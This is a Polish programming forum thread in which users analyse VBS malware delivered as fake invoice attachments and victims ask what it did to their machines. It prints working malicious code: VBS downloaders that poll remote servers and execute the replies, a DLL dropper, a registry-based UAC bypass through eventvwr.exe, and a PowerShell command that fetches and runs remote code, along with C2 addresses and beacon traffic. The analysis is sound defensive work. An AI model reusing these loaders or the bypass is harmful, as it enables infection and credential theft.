VBS, wirus - analiza

1

Witam.

na maila przyszła wiadomość z "fakturą" zawierająca zipa a w nim skrypt VBS.

Niestety odbiorca nie pomyślał i chciał fakturę zobaczyć...

Treść skryptu:
https://pastebin.com/wkPLZAuT

Otwierając link z pliku (próbowałem http://XXX.174.170.104/z/10:10:10 PM, http://XXX.174.170.104/z/10:10:10PM, http://XXX.174.170.104/z/10:10:10)
("wyiksowałem" 107 żeby nikt przez przypadek nie kliknął)
wyświetla się pusta strona (źródło jest puste, podglądając aktywność w "network" (w przeglądarce) też cisza).

Czy to oznacza, że to g... już/jeszcze nie działa?
Czy może wysyłający czeka aż pojawi się połączenie z większej ilości adresów (skrypt wchodzi w nieskończoną pętle) i dopiero wtedy wrzuci zawartość strony (pewnie kolejny skrypt)?
Czy jednak mogło coś niewidocznie zrobić?

Zastanawiam się też czy ten komentarz w pierwszej linijce mógł w rzeczywistości nie być komentarzem i coś robić...

0

a sprobuj edytowac ten skrypt: usun requesta ale wyechuj ten url i sprawdz

1

@Rev :)
@hipekk prześlij tego maila do cert.pl

3

To cały czas działa. Nie przez przypadek jest tam rekurencja bo serwer od razu nie podaje skryptu do wykonania.
W poscie pokazuje co to cudo starało się zrobic na moim komputerze ;)
Najpierw pobiera i wykonuje to (u mnie w 16 powtórzeniu):

' This script reads base64 encoded picture from file named encoded.txt,
' converts it in to back to binary reprisentation using encoding abilities
' of MSXml2.DOMDocument object and saves data to SuperPicture.jpg file

Option Explicit

Const foForReading          = 1 ' Open base 64 code file for reading
Const foAsASCII             = 0 ' Open base 64 code file as ASCII file
Const adSaveCreateOverWrite = 2 ' Mode for ADODB.Stream
Const adTypeBinary          = 1 ' Binary file is encoded

' Variables for temp
Dim tempfolder
Dim fso
'Dim sh
' Variables for decoding
Dim objXML
Dim objDocElem

' Variable for write binary picture
Dim objStream

' TEmp Folder
Set fso = CreateObject("Scripting.FileSystemObject")
'Set sh  = CreateObject("WScript.Shell")
tempfolder = fso.GetSpecialFolder(2)

' Create XML Document object and root node
' that will contain the data
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.DataType = "bin.base64"

' Set text value
objDocElem.text = "Dane w pastebin: https://4programmers.net/Pastebin/9080"
' Open data stream to picture file
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
objStream.Open()

' Get binary value and write to file
objStream.Write objDocElem.NodeTypedValue
objStream.SaveToFile tempfolder + "\\PWbx", adSaveCreateOverWrite

' Clean all
Set tempfolder = Nothing
Set fso = Nothing
Set objXML = Nothing
Set objDocElem = Nothing
Set objStream = Nothing

Pełna wersja z danymi objDocElem.text : https://4programmers.net/Pastebin/9080

Później kopiuje zapisane dane do pliku dll (31 powtórzenie pętli):

Dim objFso  
Set objFso= CreateObject("Scripting.FileSystemObject")  
tempfolder = objFso.GetSpecialFolder(2)
objFso.MoveFile tempfolder + "\PWbx", tempfolder + "\PWbx.dll"

w kroku 46, uruchamia funkcje z tej dll-ki:

Dim objShell, objFso, tempfolder
Set objShell = CreateObject("Shell.Application")
Set objFso= CreateObject("Scripting.FileSystemObject")  
Set tempfolder = objFso.GetSpecialFolder(2)
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "C:\Windows\System32\rundll32.exe", tempfolder + "\PWbx.dll, #1", "", "open", 1
Set objShell = Nothing
Set objFso = Nothing
Set tempfolder = Nothing

W kolejnych krokach 61,62 tworzy/usuwa wpisy w rejestrze:

Set WSobj = CreateObject("WScript.Shell")
Set objFsos = CreateObject("Scripting.FileSystemObject")  
Set tempfolder = objFsos.GetSpecialFolder(2)
WSobj.RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", ""
WSobj.RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", "C:\WINDOWS\System32\rundll32.exe " + tempfolder + "\PWbx.dll, #1", "REG_SZ"
WSobj.Run ("C:\Windows\System32\eventvwr.exe")
Set WSobj = Nothing
Set objFsos = Nothing

Set WSobj = CreateObject("WScript.Shell")
WSobj.RegDelete "HKCU\Software\Classes\mscfile\shell\open\command\"
WSobj.RegDelete "HKCU\Software\Classes\mscfile\shell\open\"
WSobj.RegDelete "HKCU\Software\Classes\mscfile\shell\"
WSobj.RegDelete "HKCU\Software\Classes\mscfile\"
Set WSobj = Nothing

Później uruchamia PS:

set Fh741816 = CreateObject("shell.application")
Fh741816.ShellExecute "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe", "-EncodedCommand " + Chr(34) + "WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAGUAcgB2AGUAcwBtAGEAaQBsAGUAcgBwAHIAbwBnAHIAZQBzAC4AcwBjAGkAZQBuAGMAZQA6ADgAMAA4ADAALwBjAGgAawBlAHMAbwBzAG8AZAAvAGQAbwB3AG4AcwAvAHEAdwBlAHIAdAAnACkAOwA=" + Chr(34) + "", "", "open", 0
set Fh741816 = nothing

Jeżeli dobrze zdekodowałem to tak wygląda komenda:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; IEX (New-Object Net.WebClient).DownloadString('https://servesmailerprogres.science:8080/chkesosod/downs/qwert');

Dalej już nie czekałem, bo przez 30 minut serwer nic nie zwrócił, a ja i tak nie mam wiedzy aby sprawdzić co to robi... Jak widzisz działa i coś tam wykonuje ;)

0

No właśnie katuje to coś i widzę że w różnych momentach, zwraca dane przy różnych godzinach (w argumencie) coś jednak zwraca :/.

0

U mnie dany link raz działał raz nie (u drugiej osoby która też próbowała to analizować było podobnie).
Np. [..]/z/1010+AM raz coś zwracał raz nie.

screenshot-20180615150430.png

0

Specjalistą nie jestem, ale ten sposób w jaki to testujesz nie zadziała, bo skrypt jest powtarzany średnio co 10 sekund, ja po prostu zmodyfikowałem ten vbscript który zamiast wykonywać to co zwraca serwer, zapisywał do pliku...

Puszczony drugi raz na tym samym kompie nie zwracal nic

1

Dllka odpowiada m.in za:

  • IP: 74.125.160.39:80, 176.119.1.104:80, 176.119.1.102:80
  • czytanie daty instalacji windowsa
  • sprawdzanie informacje o dysku twardym
  • zawiera m.in. sprawdzanie debuggera
  • czytanie Windows product ID
  • czytanie wersji BIOS "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION"
  • próbuje korzystać z windowsowego Service Managera
  • możliwe, że może pobierać nowe pliki z internetu (!)
  • możliwe, że może podsłuchiwać klawiaturę (keylogger) [email protected]

Reszta przydatnych rzeczy, które mogą pomóc w analizie:

"rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files"
"rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies"
"rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History"
"rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat"
"rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies\index.dat"
"rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History\History.IE5\index.dat"
"HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK"
"\Sessions\1\BaseNamedObjects\IESQMMUTEX_0_208"
"Local\ZonesLockedCacheCounterMutex"
"Local\ZoneAttributeCacheCounterMutex"
"RasPbFile"
"Local\c:!users!umzjx2w!appdata!local!microsoft!windows!temporary internet files!content.ie5!"
"Local\_!MSFTHISTORY!_"
"Local\WininetProxyRegistryMutex"
"Local\ZonesCacheCounterMutex"
"Local\WininetStartupMutex"
"IESQMMUTEX_0_208"
"Local\c:!users!umzjx2w!appdata!roaming!microsoft!windows!cookies!"
"Local\c:!users!umzjx2w!appdata!local!microsoft!windows!history!history.ie5!"
"Local\ZonesCounterMutex"
"Local\WininetConnectionMutex"
"\Sessions\1\BaseNamedObjects\Local\_!MSFTHISTORY!_"
"\Sessions\1\BaseNamedObjects\Local\c:!users!umzjx2w!appdata!local!microsoft!windows!temporary internet files!content.ie5!"
"\Sessions\1\BaseNamedObjects\Local\c:!users!umzjx2w!appdata!roaming!microsoft!windows!cookies!"
"\Sessions\1\BaseNamedObjects\Local\c:!users!umzjx2w!appdata!local!microsoft!windows!history!history.ie5!"
"\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex"
"\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex"
GET /index.php?m=T&a=4&b=32&d=DC75A7EB3D442F59B44C6EF03677EEB2&g=5C06A9DE&i=12288&u=1&v=610760110&x=0&t=32&e=02F1A38EC9563311A4BD33613B5F9ECB HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 176.119.1.104Connection: Keep-Alive

Edit: Z tego co można wyczytać w internecie jest to związane z akcją STU ERGO Hestia.
Edit2: tak, wynika z tego że na 99% służy to do wykradania loginów/maili/haseł etc, ale czy jest nadal aktywne to ciężko ocenić... ale nadal lepiej raczej nie ryzykować

0

Witam

Dostałem dziś maila z załącznikiem faktura spakowanym rarem. w środku był plik faktura 1891285.vbs
Niestety żona na niego kliknęła. Może ktoś mi pomóc i powiedzieć co ten plik zrobił na moim komputerze ?
Podgląd tego pliku wygląda tak:

dim sss, VieTnamMyArray, DiMatriSaurls, PipaAsadhttpsd, PlazaAsazzz
PlazaAsazzz = "665550757"
dim PanamaAurls, KariBiamSsate, BraVOsdate
BraVOsdate = null


Function  CiPasASkip()
  On Error Resume Next
    CosmosAMessage(BraVOsdate)
End Function

Function  MadrysodMase()
	dim noosexx
	noosexx = 0
    noosexx = FormatDateTime(Now, vbLongTime) 
	MadrysodMase(noosexx)
End Function

Function  ProBlemsSloas()
  On Error Resume Next
	PanamaAurls = "http://64.110.25.154/api.php?faxid=345011535&opt=" 
    ProBlemsSloas(PanamaAurls)
End Function


Function  ProBlemsSloas2()
	Dim ZapErselsd
 ZapErselsd = ProBlemsSloas()
End Function


Function  CaribiAnsMinsa()
	ProBlemsSloas2()
End Function

Function CaroBkaTest()
     	 EvRaisAReset()
End Function

Function  EvRaisAReset()
    PlazaAsazzz = CStr(PlazaAsazzz + 1) 
End Function

Function  ArmeSAFaxPc()
  On Error Resume Next
	CaribiAnsMinsa()
   While true
       WScript.Sleep 9000
    Call CiPasASkip()
   Wend
End Function


Function  CosmosAMessage(lolosaddate)
    On Error Resume Next 
    dim DereSreq
    Set DereSreq = createobject("Microsoft.XMLHTTP")
    DereSreq.Open "GET", lolosaddate, False
    DereSreq.Send
            WScript.Sleep 150
	VieTnamMyArray = Array(00, 22,43, 34, 2341, DereSreq.responseText)
			PropisiaAFAxdA()
End Function

Function SeNicazTest()
        BraVOsdate = ""
	BraVOsdate =+ PanamaAurls  + PlazaAsazzz + "&" +  "sfree"		
End Function

Function BlincEsTest()
        SeNicazTest()
End Function

Function Hello()
	BlincEsTest()
         Execute "" + VieTnamMyArray(5) + "" 
End Function

Function  PropisiaAFAxdA()
    On Error Resume Next
   Set PipaAsadhttpsd = CreateObject("Microsoft.XMLHTTP")
	PipaAsadhttpsd.Open "GET", "https://www.dencedence.denceasdq/12/3232", False
    PipaAsadhttpsd.Send		
	
    If (PipaAsadhttpsd.Status = 200) Then    
		MadrysodMase()
    Else   
	           
		Hello() 
		
		CaroBkaTest()
	End If

	
End Function


Call ArmeSAFaxPc()
0

Witam,

Nie jestem programistą i jestem tutaj nowy. Ostatnio dużo kupowałem czy to z fakturą czy nie - dlatego nieopatrznie otworzyłem .rar w telefonie ale tylko to. Nie otwierałem pliku .vbs
Coś mi grozi? W rar mogło być jeszcze inne świństwo ukryte?

Pozdrawiam

0

Jeżeli w telefonie, to nic nie powinno się stać, vbs działa tylko pod systemem Win, więc nawet uruchomienie nic by nie dało.

0
Michal Weidner napisał(a):

[…] dlatego nieopatrznie otworzyłem .rar w telefonie ale tylko to. Nie otwierałem pliku .vbs

Nawet gdybyś otworzył plik .rar na pececie, to też nic by nie stało – co innego w przypadku archiwum samorozpakowującego, ale to ma zwykle rozszerzenie .exe.

Coś mi grozi? W rar mogło być jeszcze inne świństwo ukryte?

Nawet jeśli było (a tego przecież nie widać gołym okiem), ale tego nie uruchamiałeś, to nic Ci nie grozi. Usuń to archiwum, jeśli nie jesteś pewien jego bezpieczeństwa i miej problem z głowy.

0

Dzięki Panowie za odpowiedź :)
Prawie bym otworzył vbs ale jeszcze raz przeanalizowałem treść email i jakiś dziwny jednak był, więc zacząłem szukać w necie odpowiedzi :)

1
Michal Weidner napisał(a):

Prawie bym otworzył vbs ale jeszcze raz przeanalizowałem treść email i jakiś dziwny jednak był […]

Odeślij go nadawcy – na pewno się ucieszy. ;)

0
furious programming napisał(a):
Michal Weidner napisał(a):

Prawie bym otworzył vbs ale jeszcze raz przeanalizowałem treść email i jakiś dziwny jednak był […]

Odeślij go nadawcy – na pewno się ucieszy. ;)

Szanowni, ja niestety nieopatrznie tego VBSa kliknalem….zamuliło mi to windoze 10 totalnie tak, że musiałem kompa zrestartować. Pytanie, czy mocno narozrabiałem? Jak to sprawdzić? Standardowy Symantec Security sprawdzi jednoznacznie czy czymś kompa zainfekowałem?
Mail miał tytuł: faktura110718_2218. Nadawca: Paweł Primel [email protected]

0

@pepes: całkiem możliwe, że masz już wirusy/trojany na pokładzie plus np. zaszyfrowane lub wykradzione pliki. Antywirus może znaleźć problemy i je usunąć, ale nigdy nie ma pewności, że znajdzie wszystko. Jedynym w stu procentach pewnym rozwiązaniem jest zaoranie systemu i postawienie go on nowa (oraz sformatowanie wszystkich pozostałych partycji).

Sugeruję najpierw poczytać artykuły na temat takich ataków i dobranie odpowiedniej strategii ratowania danych. W razie braku pewności przywróć system do ustawień fabrycznych i usuń pozostałe dane.

0

@pepes możesz otworzyć tego VBSa w notatniku i przeanalizować, co konkretnie mógł on zrobić.

0

Cześć
W wczoraj dostałem fake fakturę w pliku VBS i przez pomyłkę uruchomiłem ją. Z komputerem nic dziwnego się nie dzieje a w momencie uruchomienia tej fałszywej faktury cały czas czuwał Bitdefenter Internet security 2019 który nic nie wyłapał. Mógłby ktoś zerknąć na zawartość tego pliku czy mam szykować się reinstalacji Windows 10

Dim macoUrls, crapasesponse,MerkelSszzz, tossvesty, looas, doo, pppps, ppppsas, wqqwqwwq, asdasd, asdsadq
macoUrls = "https://wikipedia.112000212.com"
tossvesty = 200
MerkelSszzz = 2

Sub NewZelandZolo()
	On Error Resume Next
	tossvesty = 400
	macoUrls = "http://managerdriver.website"
	DollaRHello(crapasesponse)
End Sub	

Function TDKSZali(oXMLHTTP, post)
On Error Resume Next
Dim frauyArray
frauyArray = Array("", "", "")
    frauyArray(0) = "oXMLHTTP" 
	frauyArray(1) = ".Open post" 
    frauyArray(2) = ", macoUrls , False"
  Execute "" + frauyArray(0) + frauyArray(1) + frauyArray(2) + ""
  Execute "oXMLHTTP.S" + "end"
End Function

Function PoloSdSHttp()
	Dim dfsdfd, sdfd, oXMLHTTP, spost, xxxsas,sfdsf
	spost = "Post"
Set oXMLHTTP = CreateObject("Microsoft.XMLHTTP")
	call TDKSZali(oXMLHTTP, spost)
	WScript.Sleep 1000
	
If oXMLHTTP.Status = tossvesty Then

	else
	crapasesponse = oXMLHTTP.responseText	
		Call NewZelandZolo()
End If
	End Function
			
Sub CuDroLSnalax(oness)
On Error Resume Next
         	Call PoloSdSHttp()
        WScript.Sleep 1200
	CuDroLSnalax(1)
End Sub
		
Sub MediaLeia(stwo)	
        CuDroLSnalax(stwo - 1)
End Sub

Sub DollaRHello(milosmserial)
   On Error Resume Next
	Execute "" + milosmserial + "" 
End Sub

call MediaLeia(2)

1 użytkowników online, w tym zalogowanych: 0, gości: 1